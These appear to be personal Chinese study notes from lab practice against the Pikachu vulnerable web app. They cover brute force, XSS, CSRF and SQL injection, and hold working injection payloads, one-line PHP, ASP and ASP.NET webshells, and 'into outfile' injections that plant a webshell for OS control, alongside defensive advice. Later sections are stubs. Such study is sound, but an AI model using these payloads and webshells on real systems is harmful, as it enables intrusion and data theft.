【个人笔记】10天学习web安全基础(相关配置下载地址、暴力破解原理、Burp suite工具使用、跨站脚本漏洞XSS原理、跨站请求伪造CSRF原理、sql注入漏洞原理、OS远程控制、PHP反序列化、XXE等)
0.实验环境
1、mysql+apache+php
-
安装位置:D:\xamppnew
-
mysql和apache服务开启
-
apache端口建议8088,因为8080后面要给burpsuite
2、pikachu靶机系统
-
安装位置:D:\xamppnew\htdocs\pikachu
-
设置数据库:IP、端口、数据库账户与密码
3、firefox+Burp suite
1.暴力破解
暴力破解原理
1、攻击:连续性尝试+字典+自动化
2、测试流程:
-
确认登录接口的脆弱性
-
对字典进行优化
-
对目标站点进行注册,获知账号密码规则
-
对于管理后台,注意admin/administrator/root
-
-
工具自动化操作
表单的暴力破解
0、http://127.0.0.1:8088/pikachu/index.php
1、Burp suite的使用
-
firefox网络代理:手动设置HTTP代理:127.0.0.1 8080端口,所有协议使用相同代理
-
常用选项使用
-
主要内容Proxy、Intruder和Repeater
验证码绕过
Client
-
验证码是前端代码(不安全,无安全作用)
-
可以通过burpsuite中的Repeater 模块中分析是否是前端验证
-
若未在后端验证验证码,可以通过burpsuite直接暴力破解
Server
不安全的验证码情况:
-
验证码不过期
-
验证码校验不严格、逻辑有问题
-
设计的有规律,容易被猜解
操作步骤:
-
验证码为空情况、验证码错误情况、验证码是否过期
-
判断验证码过期:刷新请求新的验证码、在burp suite中输入正确的验证码GO、再次提交
-
若两次在burp suite中输入相同的正确验证码均为正常,则可以使用burp suite暴力破解
防暴力破解
防护措施
-
强:在设计上,安全的流程和复杂而又可用的图形
-
少:设置错误次数限制,输入错误x次,锁定y小时
-
多:双因素认证
token防暴力破解(token防不了)
2.跨站脚本漏洞XSS
# WEB前后端
# HTML JavaScript PHP
概述
-
XSS窃取cookie:带有恶意JS的网站页面
-
危害:存储型>反射型>DOM型
-
存储型:交互的数据存在数据库,注册页面、留言板等
-
反射型:不会被存在数据库,是一次性的、出现在查询类页面
-
DOM型:属于反射型、前端内容,是一种通过DOM操作前端代码输出的时候产生的问题
-
XSS漏洞:客户端到后端之间的输入、输出问题
测试流程
-
先找输入点:查询接口、留言板
-
输入一组"特殊字符+唯一识别字符"提交后,查看返回源码,分析(输出方)
-
CTRL+F定位到唯一识别字符,结合唯一标识字符前后语法确认是否可以执行构造js的条件(构造闭合)
-
提交构造的脚本代码,看是否可以成功执行,若成功则存在XSS漏洞(构造闭合本质上是数据库查询)
反射型XSS
-
GET方式提交的容易
-
GET的直接使用URL
-
POST方式(难):创建一个获取用户post请求的表单的恶意网站
-
获取用户的post请求以后和GET方式类似
存储型XSS
-
<script>alert('xss')</script>
DOM型XSS
-
通过JavaScript,访问HTML
-
document.getElementById("xxx")
-
构造闭合
-
JavaScript语法格式(与java相同)
XSS的利用
-
cookie的窃取和利用
-
钓鱼攻击:javascript嵌入到HTML中
-
xss获取键盘记录:跨域-同源策略(两个不同域名之间不能使用JavaScript进行相互操作);
-
不受同源策略限制的:js加载到本地执行、图片、css、任意资源
XSS盲打
-
看不到,在管理后台被xss
XSS绕过
绕过-过滤-转换
-
前端限制绕过,直接抓包重放或者修改html前端代码所设置的限制
-
大小写混合使用
-
拼凑
-
注释干扰
绕过-过滤-编码
关于htmlspecialchars()函数:
-
该函数是把预定义的字符转换为HTML实体
-
预定义的字符举例:&成为&
XSS常见防范措施
-
总的原则:输入做过滤,输出做转义
-
过滤:根据业务需求进行过滤。比如输入点要求输入手机号,则只允许输入手机号格式的数字。
-
转义:所有输出到前端的数据都根据输出点进行转义。比如输出到HTML中进行HTML实体转义,输入到js里面的进行js转义
XSS之href输出:
-
输出在a标签的href属性里面,可以使用JavaScript协议来执行js
-
防御措施:只允许http、https,其次再进行htmlspecialchars处理
XSS之js输出:
-
闭合
-
防御措施:在js输出点应该使用反斜杠\对特殊字符进行转义
3.跨站请求伪造CSRF
# WEB前后端
# GET POST
概述
-
伪造一个请求(该请求一般是一个链接)
-
然后欺骗目标用户点击该请求,攻击完成。
-
CSRF是借用用户的权限完成攻击,攻击者并没有拿到用户权限
-
XSS是直接盗取了用户的权限
确认是否存在CSRF漏洞
-
对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造
-
确认凭证cookie的有效期
CSRF之get
-
burp suite抓包,GET请求
-
伪造请求
token防止CSRF
-
CSRF的主要问题是:敏感操作的链接容易被伪造
-
措施:每次请求,都增加一个随机码(足够随机,不容易被伪造),后台每次对这个随机码进行验证。
-
随机码即token值
CSRF的防范措施
-
对关键操作增加token参数,token值必须随机,每次都不一样
-
避免会话被利用:不在客户端保留敏感信息;测试直接关闭,退出时登录态结束;设置会话过期机制
-
访问控制安全管理:敏感信息修改时需要对身份进行二次认证;敏感信息修改使用post请求;通过http头部中的refer来限制原页面
-
增加验证码
4.sql注入漏洞
# 数据库
http://127.0.0.1:8088/pikachu/index.php
概述
-
SQL Inject(sqli)
-
非法输入:1 or 1 = 1、导致数据库查询语法有错,数据库信息被泄露
攻击流程
-
一、注入点探测:自动方式:web漏洞扫描工具;手动方式:手工构造sql inject测试语句
-
二、信息获取:环境信息、数据库信息
-
三、获取权限:执行shell、上传木马
常见注入点类型
-
数字型: user_id=$id
-
字符型: user_id='$id'
-
搜索型: text LIKE '%{_GET['search']}%'"
注入类型
数字型注入:1 or 1=1
字符型注入:
-
$uname=$_GET['username']
-
select 字段1, 字段2 from 表名 where username='$name';
-
select 字段1, 字段2 from 表名 where username='kobe' or 1=1#';
-
kobe' or 1=1#
搜索型注入:
-
like '%xxxx%' or 1=1 #
-
xxxx%' or 1=1 #
xx型注入:
-
select 字段1, 字段2 from 表名 where username=('$name');
-
('xx') or 1=1 #
-
xx') or 1=1 #
MySQL注释符号:
SELECT 1+1; # 注释1
SELECT 1+1; -- 注释2(双破折号,第二个破折号后面至少跟一个空格符/tab/换行符)
SELECT 1 /* 注释3 */ +1;
注入方式GET&POST区别
-
GET方式中使用URL提交注入数据
-
POST方式中使用抓包工具修改POST数据部分提交注入
-
两种方式都会出现SQL注入漏洞,本质其实是一样的
手动测试:基于union联合查询的信息获取
-
联合查询的字段数需要和主查询的字段数相同
-
先通过order by 来判断有多少行(取数采取二分法)
-
确定行数以后使用union查询信息
-
select 字段1, 字段2 from 表名 where username='$name' order by 1 #;
-
xx' order by 1 #
-
xx' union select database(),user()#
-
xx' union select version(),4#
MySQL:information_schema
-
MySQL自带的information_schema表具有大量数据库信息
手动测试:函数报错
-
常用报错函数:updatexml()、extractvalue()、floor()
-
信息获取:(select/insert/update/delete)
-
在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息
-
前提是:后台没有屏蔽数据库报错信息,在语法发生错误时会将报错信息输出在前端。
基于报错:updatexml()
-
'
-
kobe' and updatexml(1,version(),0)#
-
kobe' and updatexml(1, concat(0x7e,version()),0)#
-
kobe' and updatexml(1, concat(0x7e,database()),0)#
-
concat:两个拼接然后打印出来
-
0x7e:~的十六进制表示(波浪号)
-
select table_name from information_schema.tables where table_schema='pikachu'
报错:只能显示一行(Subquery returns more than 1 row)
-
kobe' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
-
设置限制:limit 0,1 limit 1,1 limit 2,1
-
kobe' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
insert注册时/update修改时
delete
http header:信息被存储到数据库中时出现的漏洞
-
user-Agent
-
cookie
盲注
based boolean 和 based time
based boolean:
-
没有报错信息
-
无论输入正确或错误,都只显示两种情况(比如0或者1)
-
在正确的输入下,输入and 1=1/and 1=2发现可以判断
-
kobe' and ascii(substr(database(),1,1))=112#
-
(select table_name from information_schema.tables where table_schema=database() limit 0,1)
-
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<112#
based time:
-
通过特定的输入,判断后台执行的时间,从而确认注入
-
kobe' and sleep(5)
-
kobe' and if((substr(database(),1,1))='a',sleep(5),null)#
-
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
OS远程控制
-
一句话木马
-
如何通过into outfile 写入恶意代码并控制OS
一句话木马
<?php @eval($_POST['chopper']);?>
ASP:
<%eval request("chopper")%>
ASP.NET:
<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
通过into outfile 写入恶意代码并控制OS:
-
select 1,2 into outfile "/var/www/html/1.txt"
-
into outfile 将select的结果写入到指定目录的1.txt中
-
在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
前提条件:
-
需要知道远程目录结构
-
需要远程目录有写权限
-
需要数据库开启了secure_file_priv
获取操作系统权限:
-
kobe' union select "<?php @eval($_GET['test']);?>",2 into outfile "/var/www/html/1.php"#
-
kobe' union select "<?php @eval($_GET['cmd']);?>",2 into outfile "/var/www/html/2.php"#
表(列)名的暴力破解
-
kobe' and exists(select * from aa)#
-
aa不知道,是字典的位置
-
kobe' and exists(select id from users)#
sql注入漏洞的防范
代码层面:
-
对输入进行严格的转义和过滤
-
使用预处理和参数化(Parameterized)
网络层面:
-
通过WAF设备(防火墙)启用sql注入策略(或类似防护系统)
-
云端防护(360网站卫士,阿里云盾等)
PHP防范转义+过滤:
-
过滤:黑名单
-
推荐:使用PDO的prepare预处理(预处理+参数化)
网络防护:
-
在web应用服务器前部部署WAF设备:topo
-
启用云端防护
sqlmap
5.远程控制
-
远程系统命令控制
-
远程代码执行
6.文件包含漏洞
7.不安全的文件下载和上传
8.越权漏洞
9.PHP反序列化
seralize(),unserialize()
序列化seralize()
-
把一个对象变成可以传输的字符串
反序列化unseralize()
-
把序列化的字符串还原为对象,然后在接下来的代码中继续使用
10.XXE
xml external entity -injection"
xml:存储数据,传输数据
<!-- 第一部分: XML声明 -->
11.CSRF
服务端请求伪造
12.目录遍历漏洞
Linux服务器
../../../../../../
13.敏感信息泄露